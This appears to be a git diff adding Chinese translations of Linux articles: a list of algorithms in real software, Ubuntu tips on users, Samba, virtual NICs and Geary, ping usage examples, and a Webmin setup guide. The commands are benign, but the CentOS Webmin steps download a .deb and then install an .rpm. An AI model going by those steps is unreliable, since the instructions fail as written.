> 红黑树是一个有趣的小东西。他们被认为比AVL树(它们的直接竞争对手)简单,乍一看这似乎是由于插入是一项轻松的乐事。然而,当你开始删除时,红黑树变得非常棘手。然而,通过复杂性的平衡,插入和删除可以使用单通道,实现自上而下的算法。这与AVL树情况不一样,插入只能自顶向下,删除则需要自下而上。
|
||||
|
||||
> ...
|
||||
>
|
||||
> 红黑树是很流行的,像大多数数据结构一样有一个古怪的名字。比如,在Java和c++库映射结构通常用红黑树实现。红黑树的速度也与AVL树相当。而AVL树平衡性不是很好,需要保持平衡的话红黑树通常更好。有一些流传的误解,但在大多数情况下对红黑树的宣传是准确的。
|
||||
|
||||
3.[AVL 树][46]
|
||||
|
||||
4.[Rabin-Karp字符串匹配][47]用于比较。
|
||||
|
||||
5.[自动机后缀的计算][48]。
|
||||
|
||||
6.由Apple公司实现的[bloom过滤器][49]。
|
||||
|
||||
7.[Bresenham 算法][50]。
|
||||
|
||||
### 编程语言库 ###
|
||||
|
||||
我想这个问题值得思考。编程语言设计者们认为值得花一些工程师的时间和精力来实现这些数据结构和算法,这样其他人就不必这么做了。这些库是我们在JAVA里面比C更少的发现需要重新实现基本数据结构的部分原因。
|
||||
|
||||
1.[C++ STL][51]包含了链表、栈、队列、映射、向量和[排序][52]、[搜索和堆操作][53]算法。
|
||||
|
||||
2.[Java API][54]易于扩展的并且越来越多。
|
||||
|
||||
3.[Boost C++ 库][55]包含了像 Boyer-Moore以及Knuth-Morris-Pratt字符串匹配算法。
|
||||
|
||||
### 分配和调度算法 ###
|
||||
|
||||
我发现这些很有趣,因为即使他们被称为启发式,您使用的策略规定了算法类型和需要的数据结构,因此,所以需要人们知道栈和队列。
|
||||
|
||||
1.最近最少使用(LRU)算法可以用不同的方法实现。Linux内核有一种[基于列表的实现][56]。
|
||||
|
||||
2.其他的还有先入先出(FIFO)、最常使用和轮询。
|
||||
|
||||
3.FIFO的一个变种用于VAX/VMS系统。
|
||||
|
||||
4.[Richard Carr][58]的[时钟算法][57]用于Linux中的页面替换。
|
||||
|
||||
5.Intel i860处理器是一种随机替代策略。
|
||||
|
||||
6.[自适应置换高速缓存][59]用于一些IBM存储控制器中,也曾经用于PostgreSQL中([虽然仅仅因为一些专利问题][60])。
|
||||
|
||||
7.Knuth在《计算机程序设计艺术 卷1》中讨论过的[Buddy内存分配算法][61]内用于Linux内核中,jemalloc并发分配器被用于FreeBSD和[facebook][62]中。
|
||||
|
||||
### *nix系统核心工具 ###
|
||||
|
||||
1.*grep*和*awk*同时从正则表达式中实现NFA的Thompson-McNaughton-Yamada构造,显然[这甚至击败了Perl的实现][63]。
|
||||
|
||||
2.*tsort*实现了拓扑排序。
|
||||
|
||||
3.*fgrep*实现了[Aho-Corasick字符串匹配算法][64]。
|
||||
|
||||
4.*GNU grep*,根据作者Mike Haertel实现了[Boyer-Mooresuan算法][65]。
|
||||
|
||||
5.Unix上的crypt(1)实现了一个在Enigma机器上的不同加密算法。
|
||||
|
||||
6.[*Unix diff*][66]由Doug McIllroy实现,基于和James Hunt合作编写的原形。它比用于计算Levenshtein距离的标准动态规划算法执行地更好。[Linux 版本][67]计算最短编辑距离。
|
||||
|
||||
### 加密算法 ###
|
||||
|
||||
这本是一个非常长的列表。加密算法在所有执行安全通信和交易的程序中都有实现。
|
||||
|
||||
1.[Merkle 树][68],特别是 Tiger Tree Hash变种,被用于点对点应用,比如[GTK Gnutella][69]和[LimeWire][70]。
|
||||
|
||||
2.[MD5][71]被用于提供软件包的校验和并被用于在*nix系统上的完整性检测([Linux 实现][72]),同样也支持Windows和OSX。
|
||||
|
||||
3.[OpenSSL][73]实现了很多加密算法包括AES、Blowfish、DES、SHA-1、SHA-2、RSA、DES等等。
|
||||
|
||||
### 编译器 ###
|
||||
|
||||
1.[LALR 解析][74]在yacc和bison实现。
|
||||
|
||||
2.支配算法被用于大多数基于SSA形式的编译器优化。
|
||||
|
||||
3.lex和flex将正则表达式编译为NFA。
|
||||
|
||||
### 压缩和图像处理 ###
|
||||
|
||||
1.用于GIF图片格式的[Lempel-Ziv][75]算法在图像处理程序中实现,从*unix工具转化到复杂的程序。
|
||||
|
||||
2.行程长度编码用于产生PCX文件(用于原来的画笔程序),它是被压缩的BMP和TIFF文件。
|
||||
|
||||
3.小波压缩是JPEG2000的基础,所以所有生成JPEG2000文件的数码相机会支持这个算法。
|
||||
|
||||
4.Reed-Solomon纠错在[Linux内核][76]、CD驱动器、条形码读取器、结合从Voyager中的卷积图像传输中实现。
|
||||
|
||||
### 冲突驱动语句学习算法 (CDCL) ###
|
||||
|
||||
自2000年以来,SAT求解器在工业标准的运行时间(通常是硬件工业,虽然其他地方也被使用)以近乎指数的方式每年下跌。这发展中很重要的一部分是冲突驱动语句学习算法,它结合了Davis Logemann和Loveland在约束规划和人工智能研究中关于语句学习的原始论文中的布尔约束传播算法。特定地,工业造型,SAT被认为是一个简单的问题([见这个讨论][77])。对我而言,这个一个最近最好的成功故事,因为它结合了这几年算法的不断发展、清晰的工程理念、实验性的评估、齐心协力地解决一个问题。[Malik 和 Zhang的CACM文章][78]值得阅读。这个算法在许多大学中教授(我参加过的4个地方都是如此),但是通常在一个逻辑或者形式方法课上。
|
||||
|
||||
SAT求解器的应用有很多。IBM,Intel和许多其他公司都有他们的SAT求解器实现。OpenSuse的[包管理器][78]同样使用了一个SAT求解器。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
|
||||
|
||||
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://github.com/mirrors/linux-2.6
|
||||
[2]:https://github.com/mirrors/linux-2.6/blob/master/lib/llist.c
|
||||
[3]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list.h
|
||||
[4]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/llist.h
|
||||
[5]:https://github.com/mirrors/linux-2.6/blob/39caa0916ef27cf1da5026eb708a2b8413156f75/lib/btree.c
|
||||
[6]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/plist.h
|
||||
[7]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/rtmutex.h
|
||||
[8]:https://github.com/mirrors/linux-2.6/blob/f0d55cc1a65852e6647d4f5d707c1c9b5471ce3c/drivers/powercap/intel_rapl.c
|
||||
[9]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/rbtree.h
|
||||
[10]:http://lwn.net/Articles/184495/
|
||||
[11]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/interval_tree.h
|
||||
[12]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/radix-tree.h
|
||||
[13]:http://lwn.net/Articles/175432/
|
||||
[14]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/prio_heap.h
|
||||
[15]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/include/linux/cgroup.h
|
||||
[16]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/include/linux/hash.h
|
||||
[17]:ttp://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf
|
||||
[18]:https://github.com/mirrors/linux-2.6/blob/0b1e73ed225d8f7aeef96b74147215ca8b990dce/drivers/staging/lustre/lustre/lov/lov_pool.c
|
||||
[19]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/hashtable.h
|
||||
[20]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/inode.c
|
||||
[21]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/check-integrity.c
|
||||
[22]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/bitmap.h
|
||||
[23]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/semaphore.h
|
||||
[24]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/spinlock.h
|
||||
[25]:https://github.com/mirrors/linux-2.6/blob/master/lib/bsearch.c
|
||||
[26]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/sh/intc/chip.c
|
||||
[27]:https://github.com/mirrors/linux-2.6/blob/10d0c9705e80bbd3d587c5fad24599aabaca6688/drivers/base/regmap/regcache.c
|
||||
[28]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/befs/btree.c
|
||||
[29]:https://github.com/mirrors/linux-2.6/blob/a9238741987386bb549d61572973c7e62b2a4145/drivers/acpi/acpica/nswalk.c
|
||||
[30]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/fs/configfs/dir.c
|
||||
[31]:https://github.com/mirrors/linux-2.6/blob/4fbf888accb39af423f271111d44e8186f053723/kernel/locking/lockdep.c
|
||||
[32]:https://github.com/mirrors/linux-2.6/blob/master/lib/list_sort.c
|
||||
[33]:https://github.com/mirrors/linux-2.6/blob/42a2d923cc349583ebf6fdd52a7d35e1c2f7e6bd/fs/ubifs/gc.c
|
||||
[34]:https://github.com/mirrors/linux-2.6/blob/ff812d724254b95df76b7775d1359d856927a840/fs/btrfs/raid56.c
|
||||
[35]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/drivers/media/common/saa7146/saa7146_hlp.c
|
||||
[36]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_kmp.c
|
||||
[37]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/ts_bm.c
|
||||
[38]:http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf
|
||||
[39]:http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf
|
||||
[40]:https://code.google.com/p/chromium/
|
||||
[41]:https://code.google.com/p/chromium/codesearch#chromium/src/v8/src/splay-tree.h
|
||||
[42]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client_sdk/src/examples/demo/voronoi/index.html
|
||||
[43]:https://code.google.com/p/chromium/codesearch#chromium/src/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm
|
||||
[44]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/bintree.py
|
||||
[45]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/rbtree.py
|
||||
[46]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/bintrees/bintrees/avltree.py
|
||||
[47]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/zlib/deflate.c
|
||||
[48]:https://code.google.com/p/chromium/codesearch#chromium/src/native_client/src/trusted/validator_ragel/dfa_traversal.py
|
||||
[49]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/WebKit/Source/wtf/BloomFilter.h
|
||||
[50]:https://code.google.com/p/chromium/codesearch#chromium/src/third_party/libvpx/source/libvpx/vp8/common/textblit.c
|
||||
[51]:http://www.cplusplus.com/reference/stl/
|
||||
[52]:http://www.cplusplus.com/reference/algorithm/
|
||||
[53]:http://www.cplusplus.com/reference/algorithm/
|
||||
[54]:http://docs.oracle.com/javase/7/docs/api/
|
||||
[55]:http://www.boost.org/doc/libs/1_55_0/libs/algorithm/doc/html/index.html#algorithm.description_and_rationale
|
||||
[56]:https://github.com/mirrors/linux-2.6/blob/master/include/linux/list_lru.h
|
||||
[57]:http://en.wikipedia.org/wiki/Page_replacement_algorithm#Clock
|
||||
[58]:http://dl.acm.org/citation.cfm?id=4750
|
||||
[59]:http://en.wikipedia.org/wiki/Adaptive_Replacement_Cache
|
||||
[60]:http://www.varlena.com/GeneralBits/96.php
|
||||
[61]:http://en.wikipedia.org/wiki/Buddy_memory_allocation
|
||||
[62]:http://www.facebook.com/notes/facebook-engineering/scalable-memory-allocation-using-jemalloc/480222803919
|
||||
[63]:http://swtch.com/~rsc/regexp/regexp1.html
|
||||
[64]:http://en.wikipedia.org/wiki/Aho%E2%80%93Corasick_string_matching_algorithm
|
||||
[65]:http://lists.freebsd.org/pipermail/freebsd-current/2010-August/019310.html
|
||||
[66]:http://www.cs.dartmouth.edu/~doug/diff.pdf
|
||||
[67]:http://linux.die.net/man/3/diff
|
||||
[68]:http://en.wikipedia.org/wiki/Merkle_tree
|
||||
[69]:https://github.com/gtk-gnutella/bitter
|
||||
[70]:http://en.wikibooks.org/wiki/LimeWire
|
||||
[71]:http://en.wikipedia.org/wiki/MD5
|
||||
[72]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/crypto/md5.c
|
||||
[73]:http://www.openssl.org/
|
||||
[74]:http://en.wikipedia.org/wiki/LALR_parser
|
||||
[75]:http://en.wikipedia.org/wiki/Lempel_Ziv
|
||||
[76]:https://github.com/mirrors/linux-2.6/blob/b3a3a9c441e2c8f6b6760de9331023a7906a4ac6/lib/reed_solomon/reed_solomon.c
|
||||
[77]:http://rjlipton.wordpress.com/2009/07/13/sat-solvers-is-sat-hard-or-easy/
|
||||
[78]:http://dl.acm.org/citation.cfm?id=1536637
|
||||
[79]:http://en.opensuse.org/Portal%3aLibzypp
|
||||
|
||||
[101]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/
|
||||
[102]:http://cstheory.stackexchange.com/questions/19759/core-algorithms-deployed/19773#19773
|
||||
[103]:http://cstheory.stackexchange.com/users/4155/vijay-d
|
@ -1,19 +1,19 @@
|
||||
每日Ubuntu小技巧——在Ubuntu中添加用户
|
||||
================================================================================
|
||||
|
||||
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户A可以登录并修改他/她自己的配置文件而不会影响用户 **B ** 的配置文件。
|
||||
Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹,文件和设置访问计算机。用户**A**可以登录并修改他/她自己的配置文件而不会影响用户**B**的配置文件。
|
||||
|
||||
因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。
|
||||
因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本文将展示使用Ubuntu时如何实现这一点。
|
||||
|
||||
为了获得上面所说的那样的独立账户,首先点击长条菜单栏上的齿轮图标,然后点击系统设置。
|
||||
|
||||

|
||||
|
||||
当如图所示的窗口打开后,点击“**用户账户(User Accounts)**”
|
||||
当如图所示的窗口打开后,点击屏幕下方的“**用户账户(User Accounts)**”,如下图所示。
|
||||
|
||||

|
||||
|
||||
要添加用户到你的Ubuntu需要管理员权限。如果你要这么做,就在添加账户前点击解锁。
|
||||
要添加用户到你的Ubuntu需要管理员权限,请在添加账户前点击解锁(Unlock)。
|
||||
|
||||

|
||||
|
||||
@ -21,17 +21,17 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用
|
||||
|
||||

|
||||
|
||||
当你创建用户时有两种基本的账户类型: **标准用户 ** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者会进行一些可能使计算机不稳当的操作。
|
||||
创建用户时有两种基本的账户类型: **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户,安装软件和驱动,修改日期和时间,或者进行一些可能使计算机不稳定的操作。
|
||||
|
||||
标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。
|
||||
|
||||
当你输入用户的全名时,用户名将会根据全名自动的被选择。你可以保留自动生成的用户名,如果你需要的话也可以修改用户名。完成后,点击创建来创建账户。
|
||||
输入用户全名时,系统将根据全名自动选择用户名。你可以保留自动生成的用户名,也可以根据需要修改用户名。完成后,点击**创建(Create)**来创建账户。
|
||||
|
||||
默认情况下,你创建的账户将会不可用,直到你修改/添加了密码。要想让账户可用,点击账户不可用按钮,然后输入密码。
|
||||
默认情况下,刚创建的账户是不可用的,除非给他设置或修改了密码。要想让账户可用,点击账户的不可用按钮,然后输入密码。
|
||||
|
||||

|
||||
|
||||
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下载选项中的自动登录。
|
||||
如果你想要用户自动登录而不用输入密码,你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。
|
||||
|
||||
Enjoy!
|
||||
--------------------------------------------------------------------------------
|
||||
@ -40,4 +40,4 @@ via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts-
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
译者:[SCUSJS](https://github.com/scusjs) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[SCUSJS](https://github.com/scusjs) 校对:[jasmiepeng](https://github.com/jasminepeng)
|
@ -0,0 +1,42 @@
|
||||
每日Ubuntu小技巧-更改Samba工作组和计算机名
|
||||
================================================================================
|
||||
|
||||
这是另一个Ubuntu的新用户问的最多的问题。这个问题的答案很简单,但当你接触新事物时,你需要时间来完全理解它。
|
||||
|
||||
这是我们前几天收到的问题;
|
||||
|
||||
> 如何更改Samba的工作组名和Ubuntu的计算机名称?
|
||||
|
||||
对于大多数Ubuntu用户,改变他们的计算机名称是极少发生的事情,更别说samba工作组了。一些进阶使用者可能要学习如何用Ubuntu很简单的做到这一点。
|
||||
|
||||
当涉及到在Ubuntu中更改计算机名时,我们曾写过一个简单的帖子,可以点击[这里][1]找到。按照这个[怎样修改你的计算机名字][1]的简易指南来实现目的。
|
||||
|
||||
也许还有其他方法来改变你在Ubuntu中的计算机名,但是这是最简单和最快的。对于那些使用Ubuntu系统的服务器,你可以用vi或vim编辑的主机名和主机文件。那些不了解这些编辑器的人也许很难使用vi或vim。
|
||||
|
||||
在键盘上按**Ctrl – Alt – T**打开终端来更改Ubuntu中的Samba工作组。当终端打开时,运行以下命令来编辑的Samba的配置文件。
|
||||
|
||||
sudo gedit /etc/samba/smb.conf
|
||||
|
||||
打开这个文件后,请确保在[global]段中workgroup起始的那行的单词或值是你想要的工作组。例如,如果你希望工作组变成UBGP,将WORKGROUP替换成UBGP,并保存该文件。在大多数情况下,你必须重启动计算机以使之生效。
|
||||
|
||||

|
||||
|
||||
以上就是如何在Ubuntu中更改你的计算机名以及工作组的方法。记住,如果你这样做是为了共享或访问Windows文件和文件夹,还必须安装Samba。没有Samba,你将难以与Windows共享文件。
|
||||
|
||||
运行下面的命令安装Samba。
|
||||
|
||||
sudo apt-get install samba
|
||||
|
||||
欢迎回来掌握更多的Ubuntu小技巧。
|
||||
|
||||
尽情享受吧!
|
||||
|
||||
---
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-change-samba-workgroup-and-computer-name/
|
||||
|
||||
译者:[crowner](https://github.com/crowner),[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://linux.cn/article-2199-1.html
|
@ -0,0 +1,42 @@
|
||||
Ubuntu每日小贴士 - 在Ubuntu下创建虚拟网卡
|
||||
================================================================================
|
||||
|
||||
这个教程是为那些想用Ubuntu做点小实验的用户准备的。这并不适用于所有人,尤其是那些在(正式环境中)使用生产机器的用户。
|
||||
|
||||
如果你对网络运行和IP网络有所了解,你应该知道在大多数情况下,每个网卡只会分配一个IP地址。我们习惯认为这是一对一的事物。
|
||||
|
||||
一个网卡对应一个IP地址,你在一台机器上的一个网卡及其IP地址只能绑定或运行单一的网络服务/端口。例如,如果你想在80端口运行一个web服务器,而一个IP地址和端口号只能由一个web服务器监听。这是这样设计的。
|
||||
|
||||
所以,网卡和IP地址并不是一对一的关系,你可以创建可以单独分配IP地址的虚拟网卡。因此,单一的物理网卡可以群集无限的子网卡或虚拟网卡。每一个都能分配它自己IP地址到对应的端口。
|
||||
|
||||
这个简短的教程将展示给你如何在Ubuntu上做到这些。这是在一台电脑上用一张物理网卡和单一的端口号运行及测试多个网络服务的好方式。
|
||||
|
||||
动手吧,运行下列命令打开网络接口文件。
|
||||
|
||||
sudo gedit /etc/network/interfaces
|
||||
|
||||
然后按照下图中的步骤,添加你想要的任意多的虚拟网卡。默认情况下,Linux会给第一张网卡分配eth0的名称,所以如果你的机子只有一张网卡,那么它会被命名为eth0。
|
||||
|
||||
添加虚拟网卡,创建多个静态网卡并命名为eth0:1、eth0:2、eth0:3等等(eth0后面紧跟冒号和数字)。
|
||||
|
||||

|
||||
|
||||
对于你创建的每一个网卡,也要确保网络都是不同的子网,这是网络常识(译注:事实上并非如此,虚拟网卡完全可以是相同子网的IP地址,只要你需要)
|
||||
|
||||
完成以后,保存文件并用下列命令重启网络服务。
|
||||
|
||||
sudo service networking restart
|
||||
|
||||
就是这样!
|
||||
|
||||

|
||||
|
||||
玩得开心!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-create-virtual-network-cards-in-ubuntu-linux/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,46 @@
|
||||
每日Ubuntu小技巧:一款轻量级的Email阅读器Geary
|
||||
================================================================================
|
||||
|
||||
正如大家所知,Ubuntu 本身自带可以收发邮件的客户端——Thunderbird,当然它也支持Gmail,Yahoo Mail,Microsoft Outlook 等等支持IMAP协议的邮件服务。
|
||||
|
||||
Thunderbird 是一个功能强大的邮件客户端,只要email客户端所需要的功能,它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端,Geary 是一个不错的选择。
|
||||
|
||||
Geary 是一个界面简洁,能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上,这样你可以不必点击鼠标来切换消息。
|
||||
|
||||
Geary 还支持IMAP 协议,所以你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务。
|
||||
|
||||
以Ubuntu 13.10用户为例,Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。
|
||||
|
||||
sudo apt-get install geary
|
||||
|
||||
在以前的Ubuntu 版本中,键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后,运行以下命令增加PPA源。
|
||||
|
||||
sudo add-apt-repository ppa:yorba/ppa
|
||||
|
||||
接下来运行以下命令来升级系统和安装Geary 。
|
||||
|
||||
sudo apt-get update && sudo apt-get install geary
|
||||
|
||||
第一次启动Geary时,你需要设置你的Gmail,Yahoo 或 Microsoft 电子邮件帐户。
|
||||
|
||||

|
||||
|
||||
设置非常的简单,只要输入你的账号信息,Geary 就会自动配置好你的账号。
|
||||
|
||||
若想卸载Geary ,首先要从系统中移除它的PPA源,要运行的命令如下。
|
||||
|
||||
sudo add-apt-repository -r ppa:yorba/ppa
|
||||
|
||||
然后再运行以下命令卸载Geary 。
|
||||
|
||||
sudo apt-get remove geary
|
||||
|
||||
就这么简单~
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/
|
||||
|
||||
译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
68
published/Five Examples Of The ping Utility.md
Normal file
68
published/Five Examples Of The ping Utility.md
Normal file
@ -0,0 +1,68 @@
|
||||
五个 ping 工具的使用实例
|
||||
================================================================================
|
||||
|
||||
### 什么是 ping 工具###
|
||||
|
||||
在讲述一些关于ping工具真实直观的使用实例前,先让我来介绍一下这个命令行工具及其目的。ping工具通常用来测试一台主机在互联网协议(IP)网络内的可达性。其名字源于主动声纳法——在水下创建一个脉冲声音信号(ping)并侦听周围物体的返回信号。该方法同样生动描述了ping网络工具的工作原理。ping工具对一台主机发送回应请求然后等待ICMP响应。
|
||||
|
||||
实践中的ping工具的一些例子:
|
||||
|
||||
### 查询主机的IP地址 ###
|
||||
|
||||
有时候你需要得到某一台主机的IP地址,如图一。只需要键入ping命令后面跟上要查询的主机名。
|
||||
|
||||
ping www.omgubuntu.com
|
||||
|
||||

|
||||
|
||||
### 查询正在使用的ping工具的版本信息 ###
|
||||
|
||||
用 -V 选项可以用来查询你手头上ping工具的版本信息。键入下列命令显示正在使用的ping工具的版本信息。
|
||||
|
||||
ping -V
|
||||
|
||||
正如你从图二见到的,我正在使用的是“ping utility,iputils-sss20101006”
|
||||
|
||||

|
||||
|
||||
### 自动退出 ping ###
|
||||
|
||||
当你用‘ping 主机’命令ping一台机器时,ping自己无法停止,你必需按下CTRL+C强行退出,或者你可以用 -c (count)选项指定发送包的数量。使用-c选项,当网络管理员(其实普通用户也可以)发送完指定数量的包之后,无需按CTRL+C,ping进程就会自动停止。
|
||||
|
||||
ping -c 13 127.0.0.1
|
||||
|
||||
上列的命令发送了13个包到我的本地主机上。
|
||||
|
||||

|
||||
|
||||
正如你从图三看到的,我并没有按CTRL+C,而ping自动退出了。
|
||||
|
||||
### 指定数据包之间的时间间隔 ###
|
||||
|
||||
你知道ping每秒钟发送一个数据包吗?你喜欢快一点还是慢一点?用 -i 选项能指定包之间的时间间隔。用下列命令快速发送或慢速发送包。
|
||||
|
||||
### 每0.13秒发送一个包 ###
|
||||
|
||||
ping -i 0.13
|
||||
|
||||

|
||||
|
||||
### 每13秒发送一个包 ###
|
||||
|
||||
ping -i 13
|
||||
|
||||
### 结合 -i 选项和 -c 选项 ###
|
||||
|
||||
ping -c 13 -i 3
|
||||
|
||||
总共花费39秒发出13个数据包,数据包的时间间隔为三秒。
|
||||
|
||||

|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/five-examples-ping-utility/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
87
published/How to manage Linux server with GUI.md
Normal file
87
published/How to manage Linux server with GUI.md
Normal file
@ -0,0 +1,87 @@
|
||||
如何使用图形界面Webmin管理linux服务器
|
||||
================================================================================
|
||||
一台典型的linux服务器运行命令行环境中,并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比,就安全性、资源消费和速度来说,仅需要少量的设置无疑是一个优点。
|
||||
|
||||
如果你习惯了使用基于图形界面的软件环境,你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。
|
||||
|
||||
另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具,如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。
|
||||
|
||||
在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**。
|
||||
|
||||
Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器, 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。
|
||||
|
||||
### Linux服务器上安装Webmin ###
|
||||
|
||||
在 Ubuntu 或 Debian 系统中安装Webmin, 你可以使用如下命令。
|
||||
|
||||
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo dpkg -i webmin_1.660_all.deb
|
||||
|
||||
在CentOS 或 RHEL 系统中安装Webmin, 使用如下命令:
|
||||
|
||||
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
|
||||
$ sudo rpm -U webmin-1.660-1.noarch.rpm
|
||||
|
||||
### 使用 Webmin ###
|
||||
|
||||
安装好Webmin之后,你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。
|
||||
|
||||
同时, 请注意你应该使用 HTTPS, 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。
|
||||
|
||||
一旦你进入了Webmin登录页面, 你可以使用root身份登录 (当然需要输入root账户密码)或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。
|
||||
|
||||
[][4]
|
||||
|
||||
### Webmin 的特点 ###
|
||||
|
||||
Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍,让你们大体了解它的一些重要功能。
|
||||
|
||||
设置引导时自动启动的服务, 同时显示他们相关配置信息。
|
||||
|
||||
[][5]
|
||||
|
||||
实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等, 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。
|
||||
|
||||
[][6]
|
||||
|
